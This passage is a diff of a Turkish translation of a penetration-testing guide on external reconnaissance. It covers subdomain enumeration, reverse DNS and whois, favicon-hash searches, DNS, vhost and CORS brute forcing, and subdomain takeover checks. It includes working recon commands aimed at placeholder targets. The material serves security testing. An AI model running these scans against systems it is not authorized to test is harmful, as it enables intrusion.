gerektiğini unutmayın._ +_Lütfen, önerilen tekniklerde alt alanlar da bulabileceğinizi unutmayın ve bu bilginin göz ardı edilmemesi gerektiğini unutmayın._ -Öncelikle her şirketin **ana alanını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır. +Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır. ### **Ters DNS** -Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **ters DNS aramaları** yaparak kapsamdaki daha fazla alanı bulmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın. +Alanların tüm IP aralıklarını bulduğunuzda, bu IP'ler üzerinde **daha fazla alan bulmak için ters DNS sorguları** yapmaya çalışabilirsiniz. Kurbanın DNS sunucusunu veya bazı tanınmış DNS sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -100,16 +100,16 @@ Bu bilgiyi almak için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrar ### **Ters Whois (döngü)** -**Whois** içinde **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlıkı bulabilirsiniz** eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-postanın göründüğü diğer whois kayıtları).\ +**Whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz. Ancak daha da ilginç olanı, **şirketle ilgili daha fazla varlık** bulabilirsiniz eğer bu alanlardan herhangi biriyle **ters whois aramaları yaparsanız** (örneğin aynı e-posta adresinin göründüğü diğer whois kayıtları).\ Çevrimiçi araçlar kullanabilirsiniz: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** * [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama) -* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretli +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretli (sadece **100 ücretsiz** arama) +* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretli Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API anahtarı gerektirir) kullanarak otomatikleştirebilirsiniz.\ Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi yapabilirsiniz: `amass intel -d tesla.com -whois` @@ -118,8 +118,8 @@ Ayrıca [amass](https://github.com/OWASP/Amass) ile otomatik ters whois keşfi y ### **İzleyiciler** -Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın da aynı ekibin tarafından yönetildiğini** varsayabilirsiniz.\ -Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** gördüğünüzde. +Aynı **izleyicinin aynı kimliğini** 2 farklı sayfada bulursanız, **her iki sayfanın** de **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\ +Örneğin, birkaç sayfada aynı **Google Analytics kimliğini** veya aynı **Adsense kimliğini** görürseniz. Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve araçlar bulunmaktadır: @@ -131,20 +131,20 @@ Bu izleyiciler ve daha fazlasıyla arama yapmanıza izin veren bazı sayfalar ve ### **Favicon** -Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapabilen [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Nasıl kullanılacağı: +Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi karmasını arayarak bulabileceğimizi biliyor muydunuz? İşte bunu yapan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracı, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılmıştır. Kullanımı: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` ![favihash - aynı favicon ikonu hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alan adlarını keşfetmemize olanak tanıyacak. +Basitçe söylemek gerekirse, favihash bize hedefimizle aynı favicon ikonu hash'ine sahip alanları keşfetme imkanı sağlayacak. -Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani, bir web teknolojisinin savunmasız bir sürümünün favicon'unun hash'ini biliyorsanız, shodan'da arayabilir ve **daha fazla savunmasız yeri bulabilirsiniz**: +Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Bu, yani **zayıf bir web teknolojisinin favicon'unun hash'ini biliyorsanız**, shodan'da arama yapabilir ve **daha fazla zayıf nokta bulabilirsiniz**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Bir web sitesinin **favicon hash'ini hesaplamanın** yolu şöyledir: +İşte bir web sitesinin **favicon hash'ini hesaplamanın** yolu: ```python import mmh3 import requests @@ -159,7 +159,7 @@ return fhash ``` ### **Telif Hakkı / Benzersiz dize** -Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"` +Aynı kuruluş içinde farklı web siteleri arasında paylaşılabilecek dizeleri araştırın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **Google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Telif hakkı dizesi"` ### **CRT Zamanı** @@ -170,35 +170,35 @@ Genellikle şu gibi bir cron işi olması yaygındır: ``` ### **Harici Keşif Metodolojisi** -Sunucudaki tüm alan adı sertifikalarını yenilemek için bir plan yapın. Bu, bu işlem için kullanılan CA'nın Geçerlilik süresinde oluşturulma zamanını belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\ -Daha fazla bilgi için [**bu yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +Sunucudaki tüm alan adı sertifikalarını yenilemek için. Bu, bunun için kullanılan CA'nın Oluşturulma Zamanını Geçerlilik süresinde belirlemediği durumlarda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmak mümkündür**.\ +Daha fazla bilgi için bu [**makaleye göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### **Pasif Ele Geçirme** -Görünüşe göre insanlar, **bulut sağlayıcılarına ait IP'ler için alt alan adlarını atamak ve bu IP adresini bir noktada kaybetmek ancak DNS kaydını kaldırmayı unutmak** gibi bir durumu sıkça yaşamaktadır. Bu nedenle, sadece bir VM oluşturarak (örneğin Digital Ocean gibi bir bulutta) aslında **bazı alt alan adlarını ele geçirebilirsiniz**. +Görünüşe göre insanların, bulut sağlayıcılara ait IP'lerine alt alan adlarını atadıkları ve bir noktada **o IP adresini kaybettiklerini ancak DNS kaydını kaldırmayı unuttuklarını** sıkça yapmaları yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) bir VM oluşturarak aslında **bazı alt alan adlarını ele geçireceksiniz**. -[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bu konu hakkında bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alan** ve buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan bir betik öneriyor. +[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikayeyi açıklar ve **DigitalOcean'da bir VM oluşturan**, yeni makinenin **IPv4**'ünü **alıp**, ve ona işaret eden alt alan adı kayıtlarını **Virustotal'da arayan** bir betik önerir. ### **Diğer Yöntemler** -**Bu tekniği yeni bir alan adı bulduğunuz her seferinde daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.** +**Bu tekniği kullanarak her yeni alan adı bulduğunuzda daha fazla alan adı keşfedebileceğinizi unutmayın.** **Shodan** -IP alanını sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi kullanarak shodan'da şu şekilde arama yapabilirsiniz: `org:"Tesla, Inc."` Bulunan ana bilgisayarlarda TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin. +IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu verilerle shodan'da şuna benzer bir arama yapabilirsiniz: `org:"Tesla, Inc."` TLS sertifikasında yeni beklenmeyen alan adlarını kontrol edin. -Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde bu adı arayabilirsiniz. Filtre olarak: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. +Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana alan adı ile ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana alan adıyla ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. ### **Zaafiyet Arayışı** -Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ancak **sahipliğini kaybetmiş**. Eğer uygunsa kaydedin ve şirkete bildirin. +Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Eğer uygunsa kaydedin ve şirkete bildirin. -Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını bulursanız**, temel bir güvenlik taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, bunları "saldırmak" için bazı ipuçları bu kitapta bulunabilir.\ -_Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle bu kapsamda olmayabilir, dikkatli olun._ +Varlıkların keşfinde bulduğunuz IP'lerden farklı bir IP'ye sahip olan herhangi bir **alan adını** bulursanız, temel bir güvenlik açığı taraması yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, onları "saldırmak" için bu kitapta bazı ipuçları bulabilirsiniz.\ +_Bazen alan adının müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda olmayabilir, dikkatli olun._ \ **Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**! @@ -207,19 +207,19 @@ _Bazen alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde bar ## Alt Alan Adlar -> Kapsamdaki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz. +> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz. Her bulunan alan adının tüm olası alt alan adlarını bulma zamanı geldi. ### **DNS** -**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz). +**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, rapor etmelisiniz). ```bash dnsrecon -a -d tesla.com ``` ### **OSINT** -Birçok alt alan adını elde etmenin en hızlı yolu dış kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın): +Birçok alt alan adını elde etmenin en hızlı yolu, harici kaynaklarda arama yapmaktır. En çok kullanılan **araçlar** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -270,7 +270,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov ``` **Alt alan adlarını bulmaya doğrudan uzmanlaşmamış olsa da**, alt alan adlarını bulmada faydalı olabilecek **diğer ilginç araçlar/API'ler** bulunmaktadır, örneğin: -* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır. +* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use @@ -305,7 +305,7 @@ crt tesla.com # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **ve** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını tarar ve oradan alt alan adlarını çıkarır. +* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'i tarayarak JS dosyalarını arar ve oradan alt alan adlarını çıkarırlar. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -330,18 +330,18 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramak için kullanılabilir. +* [**securitytrails.com**](https://securitytrails.com/) ücretsiz bir API'ye sahiptir ve alt alan adları ile IP geçmişini aramanıza olanak tanır. * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden erişebilirsiniz. +Bu proje, **hata ödülü programlarıyla ilgili tüm alt alan adlarını ücretsiz olarak sunar**. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak erişebilir veya bu projenin kullandığı kapsamı da erişebilirsiniz [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) Bu araçların bir **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS Kaba Kuvvet Saldırısı** -Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvet saldırısı yaparak yeni **alt alan adları** bulmaya çalışalım. +Mümkün alt alan adı adlarını kullanarak DNS sunucularını kaba kuvvetle tarayarak yeni **alt alan adları** bulmaya çalışalım. -Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacınız olacak: +Bu işlem için bazı **ortak alt alan adı kelime listelerine** ihtiyacınız olacak: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -349,11 +349,11 @@ Bu işlem için şu gibi **ortak alt alan adı kelime listelerine** ihtiyacını * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -Ayrıca iyi DNS çözücülerin IP'leri de gereklidir. Güvenilir DNS çözücüler listesi oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözücüleri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) adresini kullanabilirsiniz. +Ve ayrıca iyi DNS çözücülerin IP'leri. Güvenilir DNS çözücülerinin bir listesini oluşturmak için çözücüleri [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şu adresten yararlanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -DNS kaba kuvvet saldırıları için en çok önerilen araçlar: +DNS kaba kuvvet için en çok önerilen araçlar: -* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere duyarlıdır. +* [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet saldırısı gerçekleştiren ilk araçtı. Çok hızlı olmasına rağmen yanlış pozitiflere duyarlıdır. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt @@ -363,7 +363,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker karakterleri işleyerek alt alan adlarını çözmenize olanak tanıyan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır ve kolay giriş-çıkış desteği sağlar. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını numaralandırmanıza ve joker işareti işleme ve kolay giriş-çıkış desteği ile alt alan adlarını çözmenize olanak tanıyan go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -377,18 +377,18 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` ### İkinci DNS Kaba Kuvvet Turu -Açık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarından sonra, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır: +Açık kaynaklardan ve kaba kuvvet saldırısı ile bulunan alt alan adlarını kullanarak, bulunan alt alan adlarının değişikliklerini oluşturarak daha fazlasını bulmaya çalışabilirsiniz. Bu amaçla birkaç araç faydalıdır: -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verilerek permutasyonlar oluşturur. +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. ```bash cat subdomains.txt | dnsgen - ``` * [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. -* goaltdns permutasyonlarını **wordlist**'i [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. +* goaltdns permutasyonlarını [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır. +* [**gotator**](https://github.com/Josue87/gotator)**:** Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur. Eğer permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` @@ -398,28 +398,28 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): Alt alan adlarının permutasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu kaba kuvvet uygulayacaktır (dns joker karakterini desteklemez). -* dmut permutasyon kelime listesine [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) ulaşabilirsiniz. +* dmut permutasyon kelime listesini [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) alabilirsiniz. ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak yeni potansiyel alt alan adı adları oluşturur. +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Bir alan adına dayanarak, daha fazla alt alan adı keşfetmek için belirtilen desenlere dayalı olarak **yeni potansiyel alt alan adı adları oluşturur**. #### Akıllı permütasyon oluşturma -* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. +* [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temel olarak **keşfedilen alt alan adlarından ana parçaları alacak** ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile eşleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, etkili ancak basit bir DNS yanıt rehberli algoritması ile birleştirilmiş bir alt alan brute-force fuzzer'dır. Özel bir kelime listesi veya geçmiş DNS/TLS kayıtları gibi sağlanan bir dizi giriş verisini kullanarak, daha fazla karşılık gelen alan adını doğru bir şekilde sentezlemek ve DNS taraması sırasında toplanan bilgilere dayanarak bunları daha da genişletmek için bir döngüde kullanır. ``` echo www | subzuf facebook.com ``` ### **Alt Alan Adı Keşfi İş Akışı** -Bu blog yazımı kontrol et, alan adından **alt alan adlarını otomatik olarak keşfetmenin** nasıl yapıldığı hakkında. Böylece bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmaz: +Bu blog yazımı kontrol et, burada bir alan adından **alt alan adı keşfini otomatikleştirmenin** nasıl yapıldığına dair **Trickest iş akışları** kullanarak bilgisayarımda manuel olarak bir sürü aracı başlatmama gerek kalmayacak: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -435,7 +435,7 @@ Bazı **VHost'ları IP'lerde bulabilirsiniz** [**HostHunter**](https://github.co **Brute Force** -Eğer bir alt alan adının bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile deneyebilirsiniz: +Eğer bir alt alan adının bir web sunucusunda gizli olabileceğini düşünüyorsanız, bunu brute force ile deneyebilirsiniz: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -453,35 +453,35 @@ VHostScan -t example.com Bu teknikle, hatta dahili/gizli uç noktalara erişebilme olasılığınız olabilir. {% endhint %} -### **CORS Brute Force** +### **CORS Kaba Kuvvet** -Bazı durumlarda, yalnızca geçerli bir alan/alt alan adı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alan adlarını keşfedebilirsiniz**. +Bazen, yalnızca geçerli bir alan/alt alan belirtildiğinde _**Origin**_ başlığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı istismar ederek yeni **alt alanlar** **keşfedebilirsiniz**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **Kovalama Yöntemleri** -**Alt alan adları** ararken, herhangi bir türde **bucket'a işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**mümkün olan bucket adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). +**Alt alan adları** ararken, herhangi bir **kova**'ya **işaret edip etmediğini** kontrol edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Ayrıca, bu noktada kapsamdaki tüm alan adlarını bildiğinizden, [**muhtemel kova adlarını kaba kuvvet uygulayın ve izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). ### **İzleme** -Bir alan adının **yeni alt alan adları** oluşturulup oluşturulmadığını izleyerek **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tarafından yapılır. +Bir alan adının **yeni alt alan adlarının** oluşturulup oluşturulmadığını **izleyebilirsiniz** [**Sertifika Şeffaflığı** Günlükleri](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) ile izleyerek. ### **Zaafiyet Arayışı** -Mümkün [**alt alan adı ele geçirmelerini kontrol edin**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Eğer **alt alan adı** bir **S3 bucket'a işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). +Mümkün [**alt alan adı ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ +Eğer **alt alan adı** bir **S3 kovasına işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). -Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alt alan adı** bulursanız, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve bu kitapta onlara "saldırmak" için bazı ipuçları bulabilirsiniz.\ -_Not edin ki bazen alt alan adı, müşteri tarafından kontrol edilmeyen bir IP içinde barındırılmış olabilir, bu yüzden kapsamda olmayabilir, dikkatli olun._ +Varlık keşfinde bulunduğunuz IP'lerden farklı bir IP'ye sahip **herhangi bir alt alan adı bulursanız**, temel bir **zayıflık taraması** yapmalısınız (Nessus veya OpenVAS 